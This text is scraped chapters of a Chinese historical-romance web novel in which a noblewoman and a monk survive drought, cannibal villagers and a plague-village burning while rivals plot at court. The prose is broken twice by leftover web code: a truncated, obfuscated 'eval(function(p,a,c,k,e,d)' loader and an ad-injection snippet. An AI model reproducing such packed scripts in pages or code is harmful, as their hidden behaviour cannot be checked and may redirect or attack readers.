后悔的眼泪在眼眶中打转,可她知道此时不是掉眼泪的时候,她只有不停奔跑,才能不拖累一直紧紧牵着自己的手不放松的少年。 最终,他们还是被猎人团团围住,他们手里拿的是劳作用的工具,可他们不是农民,而是早已化身为狼。 曹壬将陆萸迅速拉到身后,然后把匕首交给她道:“有危险时不要手软。” 陆萸捏紧匕首用力点点头。 既然逃无可逃,他们就奋勇反抗吧,曹壬手中的棍棒毫不留情的甩了出去。 他们都是一群饿极了的人,刚刚见到食物的兴奋激动过后,因着追了这一路也疲惫了,所以虽然有十多人,却都被曹壬的棍子打得不敢再靠近了。 曹壬冷声道:“出家人慈悲为怀,所以贫僧不会取各位的性命,可各位若靠近,我的棍棒将不会留情。” 闻此一言,那些村民终于有些胆怯,他们是找吃的没错,可不能还没吃上就被打死了呀? 几人合计一番后,虽有不舍,却只得带着农具走了。 确定他们都走远了,曹壬仍不放心,牵着陆萸的手又跑了几里路,才停下来休息。 此时的陆萸已经只有大口大口地喘气,胸口火辣辣的疼,说不去任何话。 曹壬也好不到哪里去,喘息片刻后,才道:“大旱之下,林中野物是为首选,可若没有野物,他们就会易子而食,然后到外面寻找体弱的人作为食物全村分享。” 陆萸只在前世的书上看到过易子而食的惨事,如今亲身经历,在剧烈喘息后,忍不住想要呕吐,可她早已口干舌燥根本吐不出什么。 曹壬安抚的拍拍她的背后,道:“白马寺曾有小沙弥在化缘时被人烹食,所以遇到陌生人我们不能立马去打招呼。” 陆萸艰难的点点头:“我下次不敢了,只是我们该如何找到出路呢?” 这里除了山还是山,如果出不去,他们就要被渴死饿死。 曹壬道:“不怕,趁着天未黑,我们可以继续找。” 就这样,他们坚持不懈的走了一天,终于在日落前找到了一个石头上写字桃花沟的村子。 可二人还未走进村子,村口就有一个男子摇摇晃晃地走过来,气若游丝地道:“你们不要进村,村里感染时疫了,他们要来烧村子了。” 他才说完,就已重重的砸在地上,扬起陆一层厚厚的尘土。 曹壬见状迅速拉着陆萸退让一丈开外。 二人见那人倒下后一直没有起来,也不敢继续逗留,最后看了眼桃花沟的那块石头后继续向前走。 他们怕遇到那人口中说的烧村子的人,所以一直不敢走大路。 二人在密林走了没有多久,便看到一群人顺着大路去了桃花沟的方向。 不多时,桃花沟升起了浓烟,陆萸和曹壬躲在山上看着桃花沟的浓烟越来越大。 “君期,此时本该是升起炊烟的时候呀”陆萸哽咽出声。 曹壬没有回答,而是闭上眼,转动佛珠,为那些人诵经超度。 这天晚上,陆萸坐在山上的石头上,看着桃花沟的火烧得天都红了,曹壬则诵了一夜的经。 长期干旱之下,所有东西都是一点就能着,人命在这一刻甚至都不如一只蝼蚁。 62. 第六十二章 不放手 一个村庄,一旦发现有人感染瘟疫,就会有人因害怕而逃离,那些无力逃离的人就只有等死。 而一旦时疫蔓延的消息被传开,其他村庄的人因害怕被传染,会召集人去烧掉感染过时疫的村庄,哪怕里面的人还没死绝。 在医疗条件落后的时代,为了生存,经常用如此简单粗暴的方法控制时疫。 这些都是陆弘曾经给陆萸讲解过的。 更有甚者,放火的人不是其他村庄的,而是本村逃离的人为了不被人发现他们是从瘟疫村而来,所以主动把村子烧光,然后去新的地方换一个名字重新建立新的村庄。 仅短短一天,陆萸亲眼见识了何为“弱肉强食”,那些以人为猎物的村民、那用尽全力却没能爬出桃花沟的男子、以及远处那烧红半边天的火,无一不提醒着她:这个时代是如此的冰冷残酷。 她在新时代成为留守儿童、不能按心愿填报高考志愿、上班后无休止加班等,那些前世以为已经是悲惨的经历,在看过这个时代的人间惨剧后,方知活在一个和平年代是多么幸福的一件事。 天下太平,短短的四个字,饱含多少平凡人关于幸福生活的向往和期盼,又深藏了几代先烈的热血和生命。 这把火,烧的不只是桃花沟,还有陆萸和曹壬寻找生机的希望,还有她想要靠努力奋斗在即将来临的乱世中保全家人的信心。 翌日清晨,看着再次升起的朝阳,陆萸已生不出对艳阳天的喜爱,曾经最爱的朗朗晴空,此时成了二人的催命符。 曹壬看出她的气馁,出言安慰道:“阿萸别怕,周围还有人活着,就说明我们还有希望。” 闻言,陆萸微微扬起嘴角,她的嘴唇已经开始干枯开裂,不能再像以前那样笑了。 那些活人其实已经算不上真正的人了,他们根本不敢去靠近。 可只要还有一口气在,她亦不能放弃。 她向来是不服输的性子,所以哪怕脚底早已痛得每走一步都像踩在尖刺上一样,也依然咬牙坚持着跟在曹壬身后开启了第二日的寻找生命之路。 这一天,他们找到三个废弃的村庄,找到一处早已干涸的蓄水池,但是没有遇到任何一个活人,更没有找到水和食物。 天气一直那么干那么热,一天下来,二人已经没有第一日的体力继续翻山越岭。 夜,再次来临,黑沉沉的天幕犹如一口锅罩在头顶,为了安全,二人回到树林间休息。 没有野兽的树林,远比暴露的山路安全,他们不知道会不会突然又有一波穷凶极恶之徒出现在山路上。 不多时,月亮再次升起,那如水的月色让陆萸终于感受到了一丝清凉,她安静地靠在树干上,此刻实在是太饿太渴了,唯有看着远处的星空放空思绪,才能转移注意力。 在一旁打坐的曹壬,从下午就没听到陆萸说任何话了,她只是安静的跟着他赶路,越是这样安静,他愈发心疼。 才短短两日,她好不容易补回来的气色已不再,哪怕她隐藏的很好,他也察觉到了她的疲累艰辛,而这一切皆是因为自己。 这样的想法让他既自责又愧疚,终归到底还是因为自己太无能了,没有能力护着她也没有能力带着她走出这茫茫的大山。 “阿萸,如果太累了,就靠我肩膀上休息一下吧”曹壬忍住想要揽她入怀的冲动,缓缓出声。 陆萸闻声抬眸去看他,见他眼中似有泪水,心底也跟着一酸,却只是挤出一个笑,然后嘶哑着开口:“我无碍,你先打坐静息。” 说着,她想换个舒服的姿势,以表示自己真的无碍,可只是轻轻一动,脚底的疼痛就再次袭来,她虽然没有痛呼出声,却忍不住皱了皱眉。 “你的脚受伤了吗?”曹壬见状忙靠近她问。 “没受伤,只是没走过这么远的山路,有些酸痛而已,休息一晚上就能好了”陆萸忙回。 见他一直盯着她的腿,她又道:“明日估计只能靠你了,所以今夜你休息好比什么都重要。” 曹壬在皈依佛门的第一年曾随师兄们徒步化缘,第一次走山路的他,才走了半天,脚底就起了很多水泡。 她是锦衣玉食娇养出来的世家女,又何曾走过这么远的山路?估计她的脚底早已布满水泡,可她不愿意说,他也不便要求她脱下鞋袜让他查看。 他没有回到刚才打坐的位置,而是和她并排坐在一起,忍住泪意端正身子道:“我在这里守着你,你先休息吧。” “好”陆萸闻言答道。 不知过了多久,曹壬感受到一旁的陆萸均匀的呼吸声,他缓缓睁开眼,轻轻将她的头放在自己的肩头。 明天就是第三日了,但愿陆氏部曲和师兄们能找到自己吧,感受着她比第一夜虚弱的呼吸声,他多希望佛祖能听到自己心底的祷告。 第三天清晨,在洛阳皇宫太极殿。 夏侯湛正跪在地上向曹启皇帝请罪,二人君臣相伴多年,他已经很少行如此大的跪拜礼了。 可这次他的确把事情办砸了,而且是大错特错的那种,他们弄巧成拙把曹壬和陆萸追丢了。 曹启皇帝听完汇报,沉默了好一会,才道:“起来吧,或许,这就是所谓的天注定,半点不由人。” 夏侯湛见前阵还信心满满地帝王一瞬间泄了气,心里难受得恨不得让帝王立马就惩罚他。 那日的第三波刺客是夏侯湛派去的,那一支射在车窗上的箭矢是为了提醒曹壬:车内坐着他心爱之人。 按原计划,他们只是去路上制造点小混乱,好让曹壬和陆萸患难见真情。 毕竟大难临头时最能考验一个人的真心,也许在经历过失而复得后,他会放弃修佛呢? 原本的计划可以说的上天衣无缝,只是没想到会在同一天既遇到山匪又遇到刺客。 看到已经有两波人捷足先登,他们不是没有犹豫过,只是想到如果错过这一次,接下来的路上,陆氏部曲的防御只会增加,那他们就没机会实施计划了。 所以他们趁乱按计划进行,而一开始,确实成功把曹壬和陆萸“解救”出来,还让二人开始了共患难之旅。 然而,因为刚好遇到天黑影响追踪,加之后来好似有人故意误导他们,导致他们彻底把人追丢了。 想到那一片方圆几百里都是干旱已久的荒村,他们寻找两天无果后,立即回来求助了。 “你说有人在制造假象误导你们寻人,可查出是何人所为?”曹启帝问。 夏侯湛:“目前属下还在查,不过暂时能确定,误导我们的人是那日的真刺客。” 那日一波是真山匪,一波是真刺客,根据他们所查,真刺客刺杀失败后,好似察觉到曹壬和陆萸已走失,所以故意制造各种假象,增大了大家的搜寻难度。 也这因为如此,他们才更担心,陆氏部曲一旦无法在五天内找到二人的踪迹,就意味着,二人凶多吉少了。 也是在第三日,在洛阳城南安王府别院书房,近随文杰正向曹善汇报着紧急情况,他们的刺杀失败了。 没错,真刺客是他的人,他们筹谋了很久,因陆氏部曲的人数超出所料,所以一直在等山匪出现,陆氏部曲和山匪打累了的时候,正是他们出手的好时机。 刺杀计划一开始也如原计划的那样顺利进行着,他们差点就杀了曹壬,可出现了两个意外。 第一个意外是曹壬竟然拥有如此精湛的棍法,他明明记得当初在江东的时候,大公子只是个药罐子。 第二个意外就是后面突然冒出来的那波刺客,这波刺客看似在追杀,却没有实际性的动作。 “你说兄长在护一名小公子?可曾看清那人的脸?”曹善问。 “那小公子看起来十几岁的样子,脸很圆,眼睛很大,他唤陆显三叔”文杰答。 听到脸很圆眼睛很大,曹善立即想起当年那个隔三差五去看望兄长的陆氏幺女,哪里有什么陆小公子,那不过是为掩人耳目罢了。 他一开始并没有打算去刺杀自己的兄长,哪怕他无数次听到消息称曹启皇帝微服出宫去太学见曹壬,他也因为那时候的兄长确实虚弱不堪,加之后来兄长皈依佛门后,陛下也没有再出宫寻兄长,所以一直认为兄长绝无可能争太子之位。 可随着时间一点点推移,一年又一年,曹启皇帝迟迟没有选定新太子,这让曹善开始焦虑起来,也开始疑神疑鬼。 这次得到消息,皇帝再次微服出宫去白马寺了,他瞬间觉得自己被皇帝和兄长联手欺骗了。 或许,皇上真正属意的是兄长,却因兄长的身体一直虚弱,所以假意皈依,实为在白马寺悉心休养,以等待时机? 多疑的人,哪怕没有证据,也会给自己脑补一堆证据。 就这样,曹壬下定决心要趁着这次曹壬外出之际将其杀掉,只有在匪乱时出手,他才不会被人查出来。 如今听闻曹壬不但棍法了得,且 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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曹善轻叹一声,垂眸看着跟了自己十八年的随从,道:“已经迟了,交与不交都不会有什么区别,你离开洛阳躲一阵,或许还能晚一点查到我头上。” 闻言,文杰哭着重重地磕了三个头后,道了声:“少主保重”,然后起身走了。 看着合上的门,曹善让另一名随从葛英给自己倒了一杯茶后,喃喃自语道:“所以,祖父还是偏心呀。” 祖父太偏心,指派给曹壬的江澈和方言远比自己的两个随从机敏能干。 曹壬皈依白马寺后,他派人去查了江澈和方言的去向,却都一无所获。 此时,看着文杰离去的背影,他执拗的认为,若此次执行任务的人是方言,肯定不会出这样的纰漏。 葛英素来比文杰心细,才听曹善喃喃自语,立马吓得退到了一旁。 第三日清晨,太阳再次升起时,陆萸已经不能正常行走了,休息一夜后,伤口不但没有好转反而疼得更厉害,每走一步,脚底就传来火辣辣的疼。 见状,曹壬在陆萸面前蹲下,在她看不见的地方,他红着眼眶道:“我背着你走,才能更快找到下一个村庄。” 陆萸犹豫了一下,最后还是乖乖地爬上了他背。 她眼睛酸涩难耐,却已流不出眼泪,若没有第一天的逃亡,她的体力不会这么差,水份也不会流失的那么快。 就这样,曹壬背着陆萸又走了一天,第三天和第二天没有什么不同,除了荒村和枯井一无所获。 第三天晚上,靠在树干上休息的陆萸已经开始神情恍惚,她好像能理解卖火柴的小女孩了,因为此刻的她好像把月亮看成了香甜可口的月饼。 前世已经吃腻的月饼,此刻竟然让她那么难忘。 这天晚上,曹壬依然让陆萸靠在自己肩头休息,而他则一遍遍向佛祖祷告明天能走出困境。 第四天清晨,再次出发时,陆萸已经半昏半醒,曹壬直接将她背起后坚定的走出树林。 不知过了多久,也不知走到了什么地方,陆萸从曹壬背上悠悠醒来,沙哑着开口:“君期,若过了今天还没有找到水和食物,你将我放下吧。” 她想说:放弃她吧,背着她只会加重负担,从而影响他求生,能有一个人活下去,好过二人双双丧命。 可她实在说不出太多话了。 闻言,曹壬的脚步一顿,忍住眼泪后,边继续走边回:“我已经放下过一次,所以这次绝不会再放手了。” 63. 第六十三章 泪和血 “我已经放下过一次,所以这次绝不会再放手”曹壬坚定地答着,脚下的步子丝毫没有减速。 闻言,陆萸用尽仅有的一丝力气揽住他的肩膀,头靠在他的背上,沙哑出声:“君期真是我见过最傻的男子呀。” 说着,那一直想流却流不出的眼泪终于顺着她的脸颊落入他的脖颈。 可终归缺水太久,仅有的几颗泪很快就消失不见了。 整个第四天,陆萸都是半昏迷状态在曹壬背上度过的。 夜里,在凉爽的树林中,她醒来过一次,醒来时发现自己的头枕在他的膝头,而他正闭目打坐中。 她费力睁眼,想要看清上方的那张脸,却因连续数日没能进食水和食物导致她的大脑开始变得迟钝,脑子完全不会思考,神志也开始变得模糊不清。 再次昏迷前,她终于想起,她是想伸手摸摸那张憔悴的脸,向他道一声:“晚安”的。 第五日,依然艳阳高照,曹壬背着陆萸找水源的时候,遇到了几名晕倒在路上的人。 因为担心瘟疫,他没有靠近,不知道那些人是否还活着。 这一日,陆萸没有再说过任何话。 她梦见了前世儿时的记忆,泥泞湿滑且弯弯曲曲的田间小路、摇着尾巴的大黄狗和宠爱了她整整十五年的奶奶。 梦境那么美,让她不再惧怕死亡。 在梦里,她笑着告诉自己:就这么睡死过去了,也是好的。 至夜里,她不知身在何处,却被落在脸上的一阵湿凉拉回到了现实,他们还没有找到陆氏部曲。 又有一颗湿凉落在脸上,她挣扎着想要清醒,却只能迷迷糊糊地问:“君期,下雨了吗?” 曹壬没有回答,上方又有几颗水珠陆续滴落在她的脸上。 哪怕脑袋已经混沌,她此刻也猜到了,这点滴的湿凉皆是他的泪。 她见过他为活下去,与病魔进行了那样艰辛而漫长的斗争,也见过他在与自己告别时眼中饱含的泪光,却从未真正见过他滚落的泪水。 这一刻,她的心如有如被深深扎入了一把小刀,虽没有马上出血,却疼的让人窒息。 虽然已经抬不起手替他擦掉泪水,她依然用尽力气嘶哑开口:“倘若我死了,把我扔在林中就行,不要浪费体力挖坑填埋。” “你不会死的”曹壬抱紧她沉痛出声。 听到他胸口的心跳声,陆萸回:“你一定要活着回去,这样才能为我诵经超度,来世,我不想轮回为人了。” 闻言,曹壬更紧的抱住她,眼泪再次落在她的脸上,他哽咽着问:“若无轮回,我该去何处找你?” 陆萸想要摇摇头,可大脑已经混沌无力大,她只能听着他一下一下的心跳声,用几不可闻的声音回:“我只想成为一棵菩提树,长在你修行的禅院中,或者成为一只鸟,落在你的肩头陪着你修行。” 他这一世若修得正道,估计就不会再有轮回,如此,她哪怕再轮回几世都不会再遇到他,那她何必还要轮回呢? 曹壬闻言,已然泣不成声,自母亲去世后,他以为自己不会再落泪了,可如今看着虚弱不堪的她,想到可能将要永远失去她,他仿佛又回到了那日午后。 他的母亲是割腕自缢的,他从睡梦中醒来的时候,最先入眼的是那一地的鲜红,他从不曾知道一个人竟然可以流那么多血。 那时候的他惊恐、悲骇、无助,惶惶如丧家之犬。 他的母亲不要他了,以那样惨烈的方式将他永远抛下了。 所以他哭得停不下来,他知道这世上再也不会有人在乎他了。 也是那一次之后,他仿佛哭光了所有的泪水,导致之后再也没有落过泪。 此时此刻,察觉到陆萸越来越弱的气息,他仿佛又看到了那满地的血,那些惊恐、悲骇、无助再次争先恐后向他袭来。 血!他猛然回过神来,立即抽出匕首,然后毫不犹豫的划破左手掌心,血珠很快便沿着伤口冒了出来。 他立即惊喜地将伤口放到陆萸唇边,低声道:“阿萸,我找到水了,你喝一些吧。” 迷迷糊糊间,陆萸听到曹壬的话,本能的张着嘴去吸吮。 很快,一股温热随着她的吸吮流入口中。 那是极咸的味道,她脑中一个念头闪过,可终究让求生的本能战胜了理智。 看着她将掌心的血悉数咽下,曹壬脸上终于笑了。 真好,她能陪伴自己的时间又多了一点。 从这一刻起,他不再惧怕鲜血,因为他终于可以用自己的方式留住想要留住的人,就算只能留住短短的几天,只要她的心还在自己怀中跳动,他便已知足。 陆氏部曲是在二人遇险后第八天,在一片靠近山路的树林中找到他们的。 彼时,曹壬早已昏迷,却仍一只手紧握匕首,一只手死死将陆萸揽在怀中。 三伏一遍一遍在他耳边说着让他放手的话,他都不愿松手,最后还是几个部曲合力才将二人分开。 也是在那一刻,大家才看到他那布满伤口却已经干涸的掌心,一时间无人不动容落泪。 陆萸是在被救后的第二天黄昏醒来的,此时落日的余晖透过窗棂照进来,满室染金。 看着如此朦胧梦幻的房间,她以为自己到了天堂。 可惜,仅一瞬间,脚底传来的疼痛将她拉回到了现实。 女医正在给她更换脚底的药,虽然动作已经很轻,却还是因伤口溃烂得非常严重,免不了令她疼痛。 刚被救回的时候,陆萸脚底的水泡早已溃烂,细布袜和伤口严重粘连。 三伏给她脱鞋袜的时候也忍不住被吓到,她自己却因为深度昏迷而感觉不到疼痛。 如今她已断断续续喝过几次汤水,虽然身体依然很虚弱,但也能感知到疼痛了。 三伏见她醒来,忙惊喜开口:“女公子,您醒了?可有哪里不舒服的?” 陆萸声若纹绳:“君期呢?” “慧悟法师在另外一间房休养,女公子无需担心”三伏忙回。 闻言,陆萸松了一口气,再次昏迷过去。 昨日从密林中将二人带回来的时候,医官已经给二人都看过了。 陆萸的伤口都在脚底,泡泡全部溃烂。却未流多少血,她如今只是因为连日不吃不喝导致体虚,只要这几日慢慢进步,就没有什么大碍。 反倒是曹壬比较严重,他不吃不喝那么多天还流了那么多血,气血两亏之下,想要醒来,除了靠药材,还要看运气。 陆萸在第三天清晨,才算彻底清醒。 她从三伏口中知道此刻他们一行人在冯翊郡的治所临晋,此处的郡太守出自荥阳郑氏。 因郑氏老夫人重佛,连带着郑氏子孙对白马寺的僧人也非常礼遇,更别说是曹壬这等名人。 陆显才和冯翊郡太守说明情况,郑太守就立马让本郡最好的医官给他们医治了。 陆萸喝过一碗红枣粥后,问:“君期还未醒来吗?” “奴婢刚才去探望法师的时候,他还未醒,不过,慧能法师告诉奴婢,慧悟法师今日能少量进食了”三伏说着,想起那日紧紧抱着女公子不松手的佛门僧人,再次感叹造化弄人。 他们二人明明有着这么深的感情牵绊,却终究不能走到一起,实在太可惜了。 陆萸闻言,微微皱了皱眉,怎么这么久还没有醒? 她想起身去看看,可低头看到被包扎得像粽子一样的双脚,只能道:“你去替我守着他吧,若醒来了,立马来告诉我。” 三伏见陆萸终于恢复了少许气色,收起食案后退下了。 不多时,陆显来看陆萸。 看到一脸苍白斜靠在床头的陆萸,他止不住后怕。 他关切的问:“可还有哪里不适的,我让医官来诊治。” 摇摇头,陆萸道:“侄女很好,抱歉,让三叔父担心了。” 闻言,陆显轻叹一声:“好在老天开眼,不然我都不知如何向父亲和兄长交代了。” 陆萸笑回:“这次纯属意外,三叔父无需自责,都言大难不死必有后福,想来我将来是能干一番大事业 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 的。” 见侄女这么乐观,陆显也跟着被感染了,他原本担心,这么娇滴滴的女孩估计要被吓得病上一阵子,甚至有可能很久都不敢出远门。 如今,眼前的少女仿若从未经历过任何险情,笑得一派自在,反而安慰到了他。 他笑道:“也不知二兄是如何把你生养得如此优秀的,真该让你七弟跟着你学习。” 陆显的儿子行七,比陆萸小三岁,如今正在陆氏学堂学习。 “可别,当年在学堂上学时,旬公常说我如朽木,若七弟跟着我,定要学坏的”陆萸俏皮的回。 见她如此贬低自己,陆显轻笑出声:“难怪大兄和大嫂老想把你留在荆州,原来是你这么会说话。” 叔侄二人轻松的聊着天,陆萸简单说了被救前那几天,她看到的人和事。 陆显听到他们被人当食物时,也觉得后背阵阵发凉,在听到桃花沟的火时,也沉默了好一会。 天灾人祸面前,是讲不了人性道德的,他们不过为活下来罢了,又能有什么错。 想起被救前,自己迷迷糊糊喝过的“水”,陆萸问:“君期是不是把找到的水都省给我喝了,所以到现在都没能醒来?” 闻言,陆显看着她沉默片刻,那眼中似有千言万语,却只回:“慧悟法师此番用尽全力助你脱险,我陆氏欠了他一份人情,父亲已经让你兄长代你去白马寺表达谢意了。” 因为三伏不方便进屋去查看曹壬养病,陆萸只能又问:“君期没有受伤吧?” “没有,只是疲累过度,需要休养”这次陆显回答得毫不犹豫。 想到他在又饿又渴的情况下背着自己走了好几天山路,想必也是累极,陆萸没有继续追问他的情况,而是问了那几波山匪的情况。 陆显和陆萸走散以后,陆氏部曲既要和山匪继续周旋,又要派人去追他们,所以也没有时间去查那些人。 好在山匪很快溃不成军,四处逃散,他们才能集中人马去营救他们二人。 可惜遇到天黑,那天夜里搜救难度大,待第二日搜救时,他们又发现到处都有痕迹,他们只得分开搜寻。 在搜寻到第三天的时候,他们发现有人在不停误导他们搜寻。 “那时候,我想着:若找不到活着的你,父亲和兄长该有多难过呀,于是我带着他们一直不停的搜寻,好在功夫不负有心人”陆显笑道。 陆萸也笑道:“这是三叔父心诚则灵,感动上苍了。” 陆显想说感动上苍的人不是他,而是那个还在靠药物吊着的慧悟,可他不能说实话,那样的真相太过沉重。 白马寺那几名僧人明显不想让他们引以为傲的门中弟子再和陆氏女有任何牵扯,那样高洁且被主持和白马寺寄予厚望的佛门弟子,哪怕怀抱女子不肯松手,在他们看来,也不过是在替佛祖拯救生灵罢了。 他可能会成为名垂千古的一代高僧,他的一切都不该沾染和留下任何污点。 而眼前笑容明媚如朝阳的侄女,陆氏一族也不会让她被世人诟病嘲笑,所以他已经交代过那天所有在场的人:他们只是在林中找到晕过去的陆萸和打坐的法师。 夜再次袭来,休息够了的陆萸却失眠了。 她轻轻拨动着手腕上的星月菩提,然后静静地躺在床上想这些日子发生的一切。 半昏半醒的时候,她看不清曹壬的脸,可她还记得她说过的每一句话,还记得他落在自己脸上的泪水,明明是湿凉的,却又那样深沉滚烫。 以后的日子里,她不会停下开拓事业的脚步,等世家们发现陆氏的野心后,她所要面临的危险只会有增无减,所以,哪怕是为了他的安全,她亦不能在人前与他有太多交集。 经过这次劫后余生,她更加珍惜生命,他若只是白马寺的僧人,又何须与自己一起去面对未知的暴风雨。 如此想着,陆萸的心中哪怕对他依然有着比以前更深更浓的眷恋,她也坚定的认为:只有各自隐忍成彼此的星光,才是最好的结果。 她不想再看到他落泪了,那样真的太疼了。 64. 第六十四章 影子 二人被救后第四天,经过几天的休养,陆萸已经能更清醒的思考问题,慢慢的开始对曹壬的病情怀疑起来,若真如三叔所言,没有受伤的君期为何这么久都没能苏醒? 心中带着疑惑,当女医来给陆萸换药的时候,她对三伏笑道:“你去帮我找些点心,我有些嘴馋了。” 三伏有些犹豫,道:“女公子的肠胃还很虚弱,我去问过医官后再替您找点心,可以吗?” 陆萸连着吃了好几日的流食,嘴里确实开始馋硬的东西,只是点心大多为重油的酥性糕点,很容易伤及肠胃。 她于是笑道:“那便先去问问医官吧。” 三伏不疑有他,忙出去找医官去了。 待三伏走后,陆萸问女医:“姑娘不知今岁多大了?” 女医向来都是安静地给陆萸换药,而陆萸也是个非常配合的患者,因此二人此前很少交流。 如今听陆萸主动问话,她忙行礼回:“奴今年刚满十岁。” 十岁,还只是个孩子而已,陆萸笑道:“你是我的恩人,无需行此大礼。” 女医闻言,一时受宠若惊,忙红着脸摆手道:“奴,奴不是您的恩人,奴的师傅才是您的恩人。” 陆萸是个有耐心的人,特别面对小女孩的时候。 她轻音软语地和女医聊起了日常,知道女医名阿桃,是个孤儿,被师傅捡到后跟着师傅习医,但大部分时间学都是药理以及包扎伤口、护理病人这些。 阿桃很崇拜师傅,也对比她厉害的师兄赞不绝口,陆萸从她口中知道,她的师傅和师兄一直守在曹壬的院落寸步不离。 通过旁敲侧击,陆萸心中愈发肯定三叔父和三伏都在向她隐瞒曹壬的病情。 她缓了一下情绪后,笑道:“我自幼便觉得能救死扶伤之人皆是大善之人,你有幸遇到你是否,将来若能学会他的毕生所学,那也能成为救死扶伤的大善人。” 阿桃听了,又是一阵脸红,忙回:“奴愚笨,想来是要让女公子失望的。” 陆萸却不这么想,在这个时代,虽然女医的地位很低,但无论在哪个年代,想用心去学医的,都是有毅力有耐心的人。 她笑道:“有志者,事竟成,天下无难事,只怕有心人,你若有这个想法,不要放弃,终有一日会实现梦想的。” “天下无难事,只怕有心人”吗?阿桃在师傅的几个徒儿中资质平平,常被师兄们取笑,且看到有师姐还没完全学会,就已经开始张罗着定亲了,她最近常对自己的梦想感觉到迷茫。 如今听了这话,一瞬间醍醐灌顶,她激动道:“听女公子一言,奴更有信心学习了。” 陆萸心中一叹,其实学医术岂能是一朝一夕就能学好的,阿桃已经十岁了,留给她的时间至多还有五年,在这个时代,倘若为了习医术而拒绝成亲的话,肯定会被周围的人视为异类吧? 看到她眼中迸发的光芒,陆萸道:“心中有梦想,并能付诸实际行动且能长期坚持下去,才是最难的。” 阿桃笑道:“奴不怕吃苦,所以也不会放弃的。” 见这样的阿桃,陆萸忍不住想起自己,自己也是明知这个时代的阶级观念和等级制度早已经固化,却一直想要尝试去改变的人,她笑道:“那我们一起努力吧,努力实现自己的梦想。” 阿桃笑着点点头:“奴和女公子一起努力!” 她这几日从太守府的侍人口中听说了,陆氏这次去长安是去建书院的,陆氏的星火书院很出名,连这里的人都听说过,星火书院让很多进不起学堂的人学到了知识。 书院教学用的《三字经》和《弟子规》师傅也买来给他们看过,真是很好的书,而这些书都出自陆氏。 当她知道建书院的参与者竟然有眼前的女公子时,既对陆萸佩服得五体投地,又被陆氏家学深深折服。 只有这般家学深厚的世家,才能培养出这样的世家女,才能让女子也参与到男子的事业中吧? 二人愉快地聊了起来,阿桃的话也渐渐多了起来。 陆萸见时机成熟,疑惑道:“三伏怎么还不来,莫不是慧悟法师的病情加重,她没机会见到你师傅?” 阿桃取出调制好的药,边小心涂抹在陆萸脚底,边道:“慧悟法师是失血过多,所以调养起来费时间,有师兄守着,想要见师傅应该不难,三伏姑娘估计是寻点心去了。” 一句“失血过多”让陆萸闻之,心底狠狠一颤,她终于想起迷迷糊糊间喝的“水”,曾有一瞬,她感觉那些“水”很咸,所以她一直在喝他的血?! 这样的发现让她的大脑突然不知该如何思考,震惊、恐惧、罪恶、自责一瞬间蜂拥而至,她何德何能得他以命相护? 阿桃没听到陆萸回话,抬头看去,见她两眼空洞无神,且脸色惨白,忙问:“是奴下手太重,让女公子疼了吗?” 陆萸过了好一会才回过神,她挤出比哭还难看的笑,回:“没事,你继续上药,我忍忍就好。” 阿桃听了,继续低头上药,手上的动作却更轻了一些。 陆萸只是在用力地忍着,心口的疼痛一阵阵袭来,让她早已感知不到脚底的疼痛。 阿桃涂好药,替陆萸包扎好后,起身擦擦额头的汗,松了一口气,道:“总算好了,如果有哪里不适,您让三伏姑娘寻奴即可。” 陆萸的心口突然好似有血腥味翻涌而上,她忙低下头忍住,确定被压下去了,才抬头回:“你先退下吧,我想休息了,如果遇到三伏,让她把点心先放着,我醒来再吃。” 阿桃见陆萸脸色极差,忍不住又问:“女公子真的没有其他不适吗?” 陆萸摇头:“昨日夜里做了一夜噩梦,没休息好而已,我睡一觉就好了。” 阿桃也大概听说了他们遭遇山匪的事,所以很能理解陆萸所说的噩梦。 她体贴的替陆萸拉好被子后,道:“奴先去门外守着,待三伏姑娘回来,奴再走。” 见陆萸点点头,她才收起药箱退到门外。 才听到门被合上的声音,陆萸立马拉过被子盖住自己的脸,让压抑的情绪瞬间释放了出来。 生怕被阿桃发现,她咬紧牙关哭着,这些日子所遭遇的一切终于在这一刻,借着这一场痛哭完全释放出来。 三伏回来的时候,听了阿桃的话,她有些不放心,轻轻开了点门缝,见陆萸盖住被子在休息,才放心的合上门。 屋内的陆萸早已听不清门口的动静,她一想到每次喂“水”时,他在自己耳畔低喃的声音,心口的疼痛一阵接着一阵,让她哭得喘不过气来。 他每次都说:“阿萸,喝下这些水,你就能好了。” 可她迫不及待地咽下时,又何曾知道,那一点一滴的湿润皆是从他身体中流淌出来的?若她知道,她宁愿自己被那些山民拉去做食物,也不想让他如此付出。 至第四天黄昏,陆萸痛哭一场也休息了一下午,情绪终于稳定下来。 这条命是他救下来的,她要对得起那样的付出,她醒来后立马让三伏打水净面。 三伏见陆萸有些红肿的眼睛,忙问:“女公子又做噩梦了吗?” 陆萸点点头,回:“以后再也不会做了。” 三伏闻言,只当陆萸在安慰自己,笑道:“奴婢先给您梳洗好,然后待你用过完善,再带你去院中晒晒太阳可好?” 陆萸抬头看着窗外的夕阳,想到来了这里以后没出过这间屋子,于是道:“你去廊下放个席子,我去坐坐。” 三伏听了,欣喜不已,忙转身准备去了,她其实也有着和陆显一样的担忧,任何女子经历过那样的大逃亡,都是要花很多时间才能恢复正常。 如今女公子愿意出门,就说明很快就要恢复了,她心里止不住开心,恨不得立马告诉陆显。 虽是客人,三伏却一点都不见外,让太守府的侍女们去找苇席、茶几、香炉,等一切摆放就绪,她才进屋将陆萸打横抱了出去,轻轻放置在茶几旁的苇席上。 华亭的精美苇席,紫檀木精心雕刻制作的茶几,错金铜博香炉,以及听闻比黄金还贵的熏香,无一不让太守府的侍女悄悄感叹江东陆氏的财力雄厚,也因为如此,他们对陆萸的照顾也愈发上心起来。 陆萸没想到三伏会弄这么大的排场,坐下后,看着袅袅升起的香雾,有些哭笑不得,道:“若是被谢九叔看到,定要笑我暴殄天物了。” 三伏笑着给陆萸倒了一碗茶汤后,回:“比起谢九郎的风雅,今日这排场可就差远了。” 想起沈氏兄妹的排场,陆萸也不再争论这个话题,确实是差了一些。 回甘的茶汤入口,这是陆氏今年新制的秋茶,这次从洛阳出发,除了新书,陆显还 (function () 